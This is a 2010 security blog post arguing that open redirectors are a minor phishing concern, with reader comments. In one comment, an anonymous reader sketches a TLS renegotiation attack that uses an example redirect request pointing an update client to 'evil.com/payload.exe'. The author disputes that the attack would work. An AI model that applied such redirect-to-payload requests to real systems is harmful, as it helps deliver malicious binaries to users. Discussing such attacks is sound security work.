Friday, June 25, 2010

Open redirectors: some sanity

Open redirectors are a contentious issue. Old-school hackers think anyone who thinks they are serious is on drugs. New-school hackers are more evenly divided. I haven't yet seen a public, balanced list of reasons why you should be worrying about other problems. Here it is. For now, I'll concentrate on the central idea that open redirectors permit domain obfuscation and therefore facilitate phishing etc.
  • OMG! Open redirectors can send a user to evil.com whilst appearing to go to good.com

    1. Not an issue: The only security indicator for URLs supported by browsers is the URL bar. The status bubble can be faked. This is to say that you can only securely do an URL check on the final landing page of a click. Check out the Browser Security Handbook.

    2. Not an issue: An easier way to fake an URL is to simply use mismatched anchor text vs. the actual href. End users make decisions based solely on the the text they read, not the underlying URL.

    3. Not an issue: We cannot seriously expect end users to make safe / dodgy distinctions based on any component of an URL. If we as a security community try and offload decisions like this on to end users, we're exhibiting basic misunderstandings. A case in point -- I just keynoted OWASP Stockholm with my colleague Ian Fette and he released an eye-opening statistic: 50% of users click through the phishing / malware interstitial in Google Chrome. Just to be clear, this is a dialog with a red background and a huge no-entry sign, with text such as "This website may harm your computer". Ouch, 50%, and that's a simple decision. It's time to stop suggesting users make complicated decisions based on URLs. The issue is becoming pretty moot with URL shorteners anyway.

    4. Not an issue: It's very easy for attackers to register a domain name that sounds offical but is not. Time and time again, even relatively technical users fall for phishing scams simply because a bad domain looks vaguely official. This backs up the previous point about users understanding URLs nicely.

The fact is, it's really easy to get a user's browser to come into contact with untrusted bits. Malware ads would be one example; there are plenty of others.
If you want to be a productive member of the security community, please do the following things:
  • Desist from seizing upon minor issues and declaring them "critical" in order to get attention. You may get quoted by some clueless reporter, but you'll still be a third-rate security researcher.

  • Get involved in hardening web app frameworks, browsers and plug-ins such that they are robust in the face of malicious data. Users are going to be exposed to bad stuff. Help tackle the problem at the roots.

6 comments:

kuza55 said...

I just wanted to say that while I completely agree (please continue to bring the smack-down), sometimes they form a piece of a pretty interesting puzzle: http://sirdarckcat.blogspot.com/2007/09/universal-youtube-mods-xss-explained-in.html

Unknown said...

The problem with open redirects is that they break the trust that exists on URLs.

Phishing is of course one possible attack, but that's just a vulnerability in human stupidity.

Programs are also prone to the same human stupidity bug, being.. they forget that the fact that a URL points to google.com, it doesn't mean that what you will get was done by google.com.

XSS, CSRF, RFI, are problems that exist thanks to this. Facebook was vulnerable to XSS because they whitelisted on facebook.com domain. I *can* read the contents of /etc/passwd of another popular social website because they forgot that whitelisting URLs on entry wasn't enough.

I have XSRF and XSS vulnerabilities in other products thanks to this same fact, that people forget the existence of open redirects.

And as kuza points out lot of BBS websites made that same mistake, and allowed me to XSS them (thanks to youtube).

So, are they an issue? Yes.. but not to the website that has open redirects.. But to the applications that forget about them ;)

Greetings!!

Chris Evans said...

@sdc: yes, nice bugs. I like your summary "So, are they an issue? Yes.. but not to the website that has open redirects.. But to the applications that forget about them ;)"
...
Great! I think we're all in agreement that the right solution is to go after the root cause bugs and buggy applications rather than the redirectors themselves. Even more sanity :D

dre said...

Fuck the theoretical. Go straight to the goods: what attacks have open redirects been a part of in the past? What attacks currently going on use them?

Anonymous said...

Here's another issue with open redirects:

TLS Renegotiation
http://svn.resiprocate.org/rep/ietf-drafts/ekr/draft-rescorla-tls-renegotiate.txt

You can use an open redirect to bypass binary updates that fetch content over https without doing any additional code signing.

The Client runs
FETCH https://trusted.com/dl/program-2.0.msi
via Wininet.OpenInternetUrl

Since OpenInternetUrl follows redirects, renegotiation can be performed to force the attacker to download a malicious binary

GET /redirect.aspx?target="https://evil.com/payload.exe" HTTP/1.1
\r\n\r\n

I haven't confirmed this for OpenInternetUrl yet, but I consider it likely. Note that OpenInternetURL does not follow https->http redirects according to the documentation. No treatment of https->https is given, so I'm assuming it is allowed.

Chris Evans said...

@dre: that's a good suggestion. There are plenty of open redirectors and plenty of phishing scams. The URLs in the phishing scams randomly phase in and out of using redirectors or not. This suggests that use of a redirector is not correlated with the success rate (or lack thereof) of the phishing scheme. This is consistent with the theory that users don't make security decisions based on URL appearance.

@Anonymous: I do not understand your example. It seems to rely on breaking SSL! If a client is fetching https://trusted.com/download.exe, there is no way the attacker can insert a redirect without breaking the integrity guarantees of SSL.